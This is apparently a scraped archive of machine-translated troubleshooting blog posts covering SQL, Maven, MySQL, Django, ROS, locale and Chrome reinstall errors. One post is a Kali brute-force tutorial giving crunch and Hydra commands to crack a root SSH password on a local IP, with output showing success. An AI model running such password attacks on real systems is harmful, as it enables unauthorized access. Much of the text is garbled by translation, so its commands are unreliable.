Category Archives: How to Fix

Arithmetic overflow error converting numeric to data type numeric.


Run the stored procedure when found this error, the stored procedure for thousands of lines of code, scan the stored procedure will find storage process is divided into several parts, the wrong time, I will COPY the original stored procedure, then a part of a part of the add up, and every part of add, will carry out this part of the code, the final positioning in the sixth part, and then a field continue to locate a field, and finally, positioning the two fields has a problem, as shown in figure

After locating this problem, I checked the data:


 
And then look at the table structure:

Remember that Maven can’t recognize Java_ Home problem error: Java_ HOME is not defined correctly.

After installing Java on CentOS and configuring environment variables, an error occurred while installing Maven configuring environment variables.

Error: JAVA_HOME is not defined correctly.

vim /etc/profile
export JAVA_HOME=/usr/ Java /jdk1.8.0_171

export JAVA_HOME=/usr/ Java/jdk1.8.0_17/bin/java can be changed to
0. 0 I was really helpless, a little little detail did not notice, do along while

Error dropping database can’t rmdir

When deleting the MySql database, the client program and the command line controller all reported an error:

ERROR 1010 (HY000): Error dropping database (can't rmdir './db_test', errno: 39)

Solutions:

Go directly to the MySql data directory, directly delete the database corresponding file directory. Then refresh and look at the database, and you will find that the database is gone.

# rm -rf /usr/local/mysql/data/db_test

MySQL error 1030 got error 1 from storage engine

Today, the query on MySQL found that the reported error was 1030 Got error 1 from storage engine.
My MySQL for Innodb, I guess Innodb setup problem. Later, I looked for the information on the Internet and added innodb_force_recovery=0 in the configuration file my. Ini
Then, restart the MySQL service and it works correctly.

Importerror of Django error: no module named**

There was a problem testing Django today, and I was badly burned.

D:\pythonCode\django\mysite>django-admin.py startproject mysite

And then I’m going to create my APP, which I’m going to call MB

python manage.py startapp mb

The directory structure is as follows:

D:.
│  manage.py
│
├─mb
│      admin.py
│      models.py
│      models.pyc
│      tests.py
│      views.py
│      __init__.py
│      __init__.pyc
│
└─mysite
        settings.py
        settings.pyc
        urls.py
        wsgi.py
        __init__.py
        __init__.pyc

For testing, I created a very simple model
Modify the MB – & gt; Models.py, with only one field

from django.db import models

# Create your models here.
class Test(models.Model):
    testField = models.TextField()

 
Modify the mysite – & gt; settings.py

INSTALLED_APPS = (
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'mysite.mb',
)

Note: This is where I want the database to be set to

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.sqlite3',
        'NAME': 'D:\\test.db',
    }
}

 
 
When performing database tests

manage.py sql mb

Error message:

ImportError: No module named mb

Well, I set it in Settings.py, why don’t I have this model?
 
I don’t know, Baidu, will mysite-> Settings. Py

INSTALLED_APPS = (
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'mb',
)

This time, there it is

BEGIN;
CREATE TABLE "mb_test" (
    "id" integer NOT NULL PRIMARY KEY,
    "testField" text NOT NULL
)
;

COMMIT;

 
It looks like a success, but why?For explanation.

ERROR: invalid byte sequence for encoding “UTF8”: 0x00

1. When using Kettle to bulk import data, the following error occurred in the data. ERROR: invalid byte sequence for encoding “UTF8”: 0x00
Key point: “0x00” means: decimal digit 0.
So the solution is to modify the field where this content appears, and then you can continue to use the Kettle bulk import data.
Another problem is that if you have a lot of fields, you need to decide for yourself which field is the problem. Then according to the fuzzy query query out of this statement, and then modify it.

1 select * from user where name like CONCAT("%",char(0),"%");

 

Kali brute force cracking course

This article is original, reprint please indicate the source and author!
Kali is a powerful weapon for infiltrators. Today, we will show beginners how to achieve burst quickly. The tools they need can be found in Kali. Without further ado, let’s get started
1. Open the terminal and run the command Crunch, which is a dictionary generation tool that can generate dictionaries according to users’ requirements. You can refer to the manual for the specific parameters, which can be briefly explained here:
crunch 1 4 charset.lst lalpha -o mypwd.txt
The above command generates a dictionary with a minimum of one character and a maximum of four characters. This dictionary is output to mypwd.txt file (so the -o option is used). Charset.lst lalpha is defined as the lalpha option in charset.lst file.
2 dictionary generation, the following please out of the Hydra, this tool parameters are also a lot of, you can look at the manual, here simply said:
Hydra -l root -w 10 – P PWD. TXT 14 – v – t 192.168.1.106 SSH

– l specify a user name, if you are not sure what is the target user name, that can put all of the user name in the dictionary file, and then use the -l user. TXT to specify a user name, – 10 is to specify no more than 10 s w, – P is specified password dictionary, also is the dictionary file generated in step, can pay attention to the path to find oh, – t is the number of threads, the default is 16, -V is the display of cracking process information, and finally the target IP and protocol.
After running, the target host was successfully cracked, as follows:

hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak – for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2015-04-05 17:09:58
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort…
[DATA] 14 tasks, 1 server, 7380 login tries (l:1/p:7380), ~527 tries per task
[DATA] attacking service ssh on port 22
[VERBOSE] Resolving addresses … done
[ERROR] could not connect to target port 22
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for Child 10
[VERBOSE] Retrying connection for child 12
[22][SSH] host: 192.168.1.106 login: root password: S
[STATUS] attack finished for 192.168.1.106 (waiting for children to complete tests)
1 of 1 target successful completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-04-05 17:10:15

2015. The tomb-sweeping day. Suvir

HTTP 400 error – bad request

HTTP 400 error – invalid request (Bad request) is sometimes reported when ajax requests background data. The invalid request indicates that the request did not enter the background service;
Reasons: 1) The field name or field type of the data submitted by the front end is inconsistent with the entity class in the background, resulting in the failure of encapsulation;
2) The data submitted from the front end to the background should be of the JSON string type, while the front end did not convert the object to the string type;
Solutions:
1) Ensure consistency by comparing field names and types
2) Use Stringify to convert the object passed in front into string data: jSON.Stringify (param);

https://www.cnblogs.com/beppezhang/p/5824986.html

ROS problem: vidioc_ S_ FMT error 16, Device or resource busy

Problem description
When using the camera under ROS, input:

$ roslaunch usb_cam usb_cam-test.launch

This command is to turn on the camera, and the error is as follows:

Namely: [ERROR] [1574317261.767618042]: VIDIOC_S_FMT ERROR 16, Device or resource busy
Replug the camera, still report this error.
Analysis: First check all the camera equipment, the instructions are as follows:

$ ls /dev/video*
/dev/video1

As you can see, the result is /dev/video1, and the default installation on ROS is usB_CAM with /dev/video0 started, so it’s not hard to imagine changing the launch file that launches the camera.
Solution: Enter the following two instructions:

$ cd /opt/ros/kinetic/share/usb_cam/launch
$ sudo gedit usb_cam-test.launch

The launch file is shown in the figure below:

Change the /dev/video0 that appears in line 3 to /dev/video1 (the number after the video here depends on the result of the previous query), save and exit. So you can use the camera properly. Problem solved.
Supplementary place
1. There is a detail here. After the above steps are modified, $roslaunch USb_CAM USb_cam_test.launch is required to use the camera normally.
2. After restarting the computer, the need for /dev/video will generally revert to 0, so the usB_cam-test.launch file needs to be modified again. Change the part of /dev/video to /dev/video0.

locale.Error : the solution of unsupported locale setting

locale.Error: unsupported locale setting locale


Error: the solution set by unsupported locale
0. References 1. Cause of error 2. Solution


0. References
https://stackoverflow.com/questions/14547631/python-locale-error-unsupported-locale-setting


1. Report the cause of the error
The ubuntu 16.04 installed on the vagrant + virtualbox installed on the ubuntu 16.04 used the pip3 list and the python3-m venv venv both commands gave the error message as follows:

vagrant@ubuntu-xenial:~/microblog$ pip3 list
Traceback (most recent call last):
  File "/usr/bin/pip3", line 11, in <module>
    sys.exit(main())
  File "/usr/lib/python3/dist-packages/pip/__init__.py", line 215, in main
    locale.setlocale(locale.LC_ALL, '')
  File "/usr/lib/python3.5/locale.py", line 594, in setlocale
    return _setlocale(category, locale)
locale.Error: unsupported locale setting

The reason is that the system lacks the corresponding language package, which needs to be downloaded and installed.


2. Solutions
Use the locale locale to view the current language Settings:

vagrant@ubuntu-xenial:~$ locale
locale: Cannot set LC_ALL to default locale: No such file or directory
LANG=en_US.UTF-8
LANGUAGE=
LC_CTYPE="en_US.UTF-8"
LC_NUMERIC=zh_CN.UTF-8
LC_TIME=zh_CN.UTF-8
LC_COLLATE="en_US.UTF-8"
LC_MONETARY=zh_CN.UTF-8
LC_MESSAGES="en_US.UTF-8"
LC_PAPER=zh_CN.UTF-8
LC_NAME=zh_CN.UTF-8
LC_ADDRESS=zh_CN.UTF-8
LC_TELEPHONE=zh_CN.UTF-8
LC_MEASUREMENT=zh_CN.UTF-8
LC_IDENTIFICATION=zh_CN.UTF-8
LC_ALL=

It is found that there are two languages in this setting, one is en_us.utf-8 , and the other is zh_cn.utf-8 .
Use locale -a to view all available languages in the current system:

vagrant@ubuntu-xenial:~$ locale -a
C
C.UTF-8
en_US.utf8
id_ID.utf8
POSIX

It was found that zh_cn.utf-8 is missing in the available language above, and this is the reason for the error.
Use sudo apt install language-pack-zh-hans installation language:

vagrant@ubuntu-xenial:~$ sudo apt install language-pack-zh-hans
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following additional packages will be installed:
  language-pack-zh-hans-base
The following NEW packages will be installed:
  language-pack-zh-hans language-pack-zh-hans-base
0 upgraded, 2 newly installed, 0 to remove and 3 not upgraded.
Need to get 2110 kB of archives.
After this operation, 8545 kB of additional disk space will be used.
Do you want to continue?[Y/n] y
Get:1 http://archive.ubuntu.com/ubuntu xenial-updates/main amd64 language-pack-zh-hans-base all 1:16.04+20160627 [2108 kB]
Get:2 http://archive.ubuntu.com/ubuntu xenial-updates/main amd64 language-pack-zh-hans all 1:16.04+20160627 [1870 B]
Fetched 2110 kB in 3s (567 kB/s)           
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
    LANGUAGE = (unset),
    LC_ALL = (unset),
    LC_TIME = "zh_CN.UTF-8",
    LC_MONETARY = "zh_CN.UTF-8",
    LC_ADDRESS = "zh_CN.UTF-8",
    LC_TELEPHONE = "zh_CN.UTF-8",
    LC_NAME = "zh_CN.UTF-8",
    LC_MEASUREMENT = "zh_CN.UTF-8",
    LC_IDENTIFICATION = "zh_CN.UTF-8",
    LC_NUMERIC = "zh_CN.UTF-8",
    LC_PAPER = "zh_CN.UTF-8",
    LANG = "en_US.UTF-8"
    are supported and installed on your system.
perl: warning: Falling back to a fallback locale ("en_US.UTF-8").
locale: Cannot set LC_ALL to default locale: No such file or directory
Selecting previously unselected package language-pack-zh-hans-base.
(Reading database ... 89747 files and directories currently installed.)
Preparing to unpack .../language-pack-zh-hans-base_1%3a16.04+20160627_all.deb ...
Unpacking language-pack-zh-hans-base (1:16.04+20160627) ...
Selecting previously unselected package language-pack-zh-hans.
Preparing to unpack .../language-pack-zh-hans_1%3a16.04+20160627_all.deb ...
Unpacking language-pack-zh-hans (1:16.04+20160627) ...
Setting up language-pack-zh-hans (1:16.04+20160627) ...
Setting up language-pack-zh-hans-base (1:16.04+20160627) ...
Generating locales (this might take a while)...
  zh_CN.UTF-8... done
  zh_SG.UTF-8... done
Generation complete.

Finally, we generated the zh_cn.utf-8 language that we needed.
Using pip3 list and python3-m venv venv again will not give an error.

Google browser chrome installation failed, error code: 0xa0430721 solution (★ pro test is feasible 〉)

Respect for the author to support original, such as the need to reprint, please attach the original address: http://blog.csdn.net/libaineu2004/article/details/45533299
Google browser installation failure error code 0xa0430721 causes:
This is because when we uninstalled the last version, we did not delete clean. Then they reinstalled the Google browser. So that’s the problem.
 
1, delete the old configuration folder, such as
WinXP system:
C:\Documents and Settings\XXX\Local Settings\Application Data\Google(Note: The red part is your computer name)
Windows 7/Win10 system:
C:\Users\XXX\AppData\Local\Google
2. Thoroughly clean the registry and delete relevant chrome files:
Copy the content in the http://www.google.com/support/chrome/bin/resource/remove.txt to notepad, save as. Reg file, double-click on the run!
I can’t access Google websites, so I post the removed. TXT text as follows:

Windows Registry Editor Version 5.00
; WARNING, this file will remove Google Chrome registry entries  
; from your Windows Registry. Consider backing up your registry before
; using this file: http://support.microsoft.com/kb/322756
; To run this file, save it as 'remove.reg' on your desktop and double-click it.
[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ChromeHTML] 
[-HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\chrome.exe] 
[HKEY_LOCAL_MACHINE\SOFTWARE\RegisteredApplications]
"Chrome"=-
[-HKEY_CURRENT_USER\SOFTWARE\Classes\ChromeHTML] 
[-HKEY_CURRENT_USER\SOFTWARE\Clients\StartMenuInternet\chrome.exe] 
[HKEY_CURRENT_USER\SOFTWARE\RegisteredApplications]
"Chrome"=-
[-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\Chrome]
[-HKEY_CURRENT_USER\Software\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}]
[-HKEY_CURRENT_USER\Software\Google\Update\ClientState\{8A69D345-D564-463c-AFF1-A69D9E530F96}]
[-HKEY_CURRENT_USER\Software\Google\Update\Clients\{00058422-BABE-4310-9B8B-B8DEB5D0B68A}]
[-HKEY_CURRENT_USER\Software\Google\Update\ClientState\{00058422-BABE-4310-9B8B-B8DEB5D0B68A}]
[-HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientStateMedium\{8A69D345-D564-463c-AFF1-A69D9E530F96}]
[-HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}]
[-HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463c-AFF1-A69D9E530F96}]
[-HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}]

3. Restart your computer (not necessarily) and install the downloaded offline package Chrome!
4. Success is achieved. (∩_∩)O haha ~
 
★ Note that if the above method is still not feasible, then:
1. Please manually delete C:\Program Files\Google folder.
2. Use RegWorkshop, a third-party registry management tool, to retrieve the keywords “Google” and “Chrome” and delete the associated registry information.
3. Restart the computer and try again.
Respect for the author to support original, such as the need to reprint, please attach the original address: http://blog.csdn.net/libaineu2004/article/details/45533299
 

Welcome to this series of articles
Chrome, The Google browser, always has a pop-up message saying “The device was not found”.
Google Chrome: How to turn Flash support on forever
Google browser software installation package download:
https://www.google.cn/intl/zh-CN/chrome/
https://www.google.com/chrome/cleanup-tool/